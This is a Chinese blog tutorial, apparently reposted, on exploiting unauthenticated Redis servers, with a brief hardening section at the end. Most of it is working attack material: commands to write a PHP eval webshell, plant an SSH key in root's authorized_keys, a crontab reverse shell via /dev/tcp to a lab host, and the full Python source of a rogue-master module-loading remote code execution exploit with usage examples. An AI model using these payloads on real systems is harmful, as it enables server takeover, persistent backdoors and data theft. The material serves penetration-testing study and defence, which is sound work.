redis未授权访问之利用

redis未授权访问之利用

redis简介

Remote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

redis未授权访问产生原因

Redis 若因配置不当存在未授权访问漏洞,则攻击者可进行恶意利用。当以 root 身份运行时,可以通过root 写入 SSH 公钥文件,直接通过 SSH (默认端口22)登录,从而获取服务器权限。

redis利用场景1:webshell写入

条件:有web服务,知道路径,具有增删改查权限
首先使用redis客户端直接无账号登录redis:
在这里插入图片描述
这里假设路径为/home/jadore,可以执行如下命令写入webshell:

config set dir /home/jadore
config set dbfilename webshell.php
set webshell "\r\n\r\n<?php eval($_POST['key']);?>\r\n\r\n"
save

在这里插入图片描述
靶机上可以看到
在这里插入图片描述

redis利用场景2:公私钥免密认证登录SSH

条件:redis以root身份运行
首先我们可以生产一个密钥对,密码为空,命令如下:

ssh-keygen -t rsa

在这里插入图片描述
将生成的公钥保存到test.txt,命令如下:

(echo -e "\n\n"; cat id_rsa.pub;echo -e "\n\n") > test.txt

在这里插入图片描述
将保存下来的公钥文件写入靶机redis,命令如下:

cat /root/.ssh/test.txt | redis-cli -h 192.168.222.130 -x set crack

在这里插入图片描述
登录靶机redis,获取redis备份路径:

redis-cli -h 192.168.222.130
CONFIG GET dir

在这里插入图片描述
更改备份路径:

CONFIG SET dir /root/.ssh

在这里插入图片描述
将公钥的名称改为authorized_keys:

CONFIG SET dbfilename authorized_keys

在这里插入图片描述
看看是否更改成功:

扫描二维码关注公众号,回复: 12409022 查看本文章
CONFIG GET dbfilename
save

在这里插入图片描述
进行ssh免密登录:

ssh -i id_rsa [email protected]

在这里插入图片描述

ifconfig

结果
在这里插入图片描述

redis利用场景3:反弹shell

通过Linux的计划任务管理crontab来设置计划任务反弹shell
首先建立连接监听

nc -lvp 1234

在这里插入图片描述连接redis反弹shell

redis-cli -h 192.168.222.130
set xxx "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.222.132/1234 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

tip:bash一句话命令详解:
bash -i 表示来产生一个bash交互环境
>& 表示将联合符号前面的内容与后面的内容向结合后再重定向给后者
/dev/tcp/192.168.222.132/1234 表示让主机与目标主机产生一个TCP连接
0>&1 将标准的输入与标准的输出内容相结合,然后重定向给前面标准输出的内容
在这里插入图片描述

redis利用场景4:远程代码执行

条件:Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
master/slave模式:主从设备模式,将一个原始任务分解为若干个语义等同的子任务,并由专门的工作者线程来并行执行这些任务,原始任务的结果通过整合各个子任务的处理结果来产生。
redis server支持以下两种命令:
1.明文(使用空格来分割)
如:SET keyname value\n
2、原码
如:*3\r\n$3\r\nSET\r\n$7\r\nkeyname\r\n$5\r\nvalue\r\n
其中*3表示参数个数$3表示参数的长度SET表示参数要设置的值
攻击流程:
1、子设备向主设备发起连接请求
2、子设备尝试进行部分或完全同步
3、主设备通过向子设备发送一组命令来保持子设备的更新,以便复制任何更改主设备上数据集的操作。
在这里插入图片描述
EXP:https://github.com/vulhub/redis-rogue-getshell/blob/master/redis-master.py

#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time

logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n"


class RoguoHandler(socketserver.BaseRequestHandler):
    def decode(self, data):
        if data.startswith(b'*'):
            return data.strip().split(DELIMITER)[2::2]
        if data.startswith(b'$'):
            return data.split(DELIMITER, 2)[1]

        return data.strip().split()

    def handle(self):
        while True:
            data = self.request.recv(1024)
            logging.info("receive data: %r", data)
            arr = self.decode(data)
            if arr[0].startswith(b'PING'):
                self.request.sendall(b'+PONG' + DELIMITER)
            elif arr[0].startswith(b'REPLCONF'):
                self.request.sendall(b'+OK' + DELIMITER)
            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)
                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
                self.request.sendall(self.server.payload + DELIMITER)
                break

        self.finish()

    def finish(self):
        self.request.close()


class RoguoServer(socketserver.TCPServer):
    allow_reuse_address = True

    def __init__(self, server_address, payload):
        super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
        self.payload = payload


class RedisClient(object):
    def __init__(self, rhost, rport):
        self.client = socket.create_connection((rhost, rport), timeout=10)

    def send(self, data):
        data = self.encode(data)
        self.client.send(data)
        logging.info("send data: %r", data)
        return self.recv()

    def recv(self, count=65535):
        data = self.client.recv(count)
        logging.info("receive data: %r", data)
        return data

    def encode(self, data):
        if isinstance(data, bytes):
            data = data.split()

        args = [b'*', str(len(data)).encode()]
        for arg in data:
            args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg])

        args.append(DELIMITER)
        return b''.join(args)


def decode_command_line(data):
    if not data.startswith(b'$'):
        return data.decode(errors='ignore')

    offset = data.find(DELIMITER)
    size = int(data[1:offset])
    offset += len(DELIMITER)
    data = data[offset:offset+size]
    return data.decode(errors='ignore')


def exploit(rhost, rport, lhost, lport, expfile, command, auth):
    with open(expfile, 'rb') as f:
        server = RoguoServer(('0.0.0.0', lport), f.read())

    client = RedisClient(rhost, rport)

    lhost = lhost.encode()
    lport = str(lport).encode()
    command = command.encode()

    if auth:
        client.send([b'AUTH', auth.encode()])

    client.send([b'SLAVEOF', lhost, lport])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so'])
    time.sleep(2)

    server.handle_request()
    time.sleep(2)

    client.send([b'MODULE', b'LOAD', b'./exp.so'])
    client.send([b'SLAVEOF', b'NO', b'ONE'])
    client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb'])
    resp = client.send([b'system.exec', command])
    print(decode_command_line(resp))

    client.send([b'MODULE', b'UNLOAD', b'system'])


def main():
    parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
    parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
    parser.add_argument("-p", "--rport", dest="rport", type=int,
                        help="target redis port, default 6379", default=6379)
    parser.add_argument("-L", "--lhost", dest="lhost", type=str,
                        help="rogue server ip", required=True)
    parser.add_argument("-P", "--lport", dest="lport", type=int,
                        help="rogue server listen port, default 21000", default=21000)
    parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
    parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id')

    parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
    options = parser.parse_args()

    filename = options.file
    if not os.path.exists(filename):
        logging.info("Where you module? ")
        sys.exit(1)

    exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth)


if __name__ == '__main__':
    main()
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd RedisModulesSDK/
make
# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.222.130 -p 6379 -L 192.168.222.132 -P 8888 -f RedisModulesSDK/exp.so -c "uname -a"

在这里插入图片描述

修复方案

1、在 redis.conf 文件中找到# bind 127.0.0.1,将前面的 # 去掉,然后保存。
在这里插入图片描述
也可以指定访问源 IP 来访问 Redis。
bind 192.168.1.100 10.0.0.1
2、通过 iptables 策略,仅允许指定的 IP 来访问 Redis 服务:
iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
3、设置访问密码
在 redis.conf 中找到 requirepass 字段,去掉其注释,并在后面填上需要的密码。Redis 客户端也需要使用此密码来访问 Redis 服务。
requirepass 密码
4、权限最小化
以较低权限账号运行 Redis 服务,并禁用该账号的登录权限:
useradd -M -s /sbin/nologin [username]
5、升级redis到最新版

猜你喜欢

转载自blog.csdn.net/weixin_44047795/article/details/109134882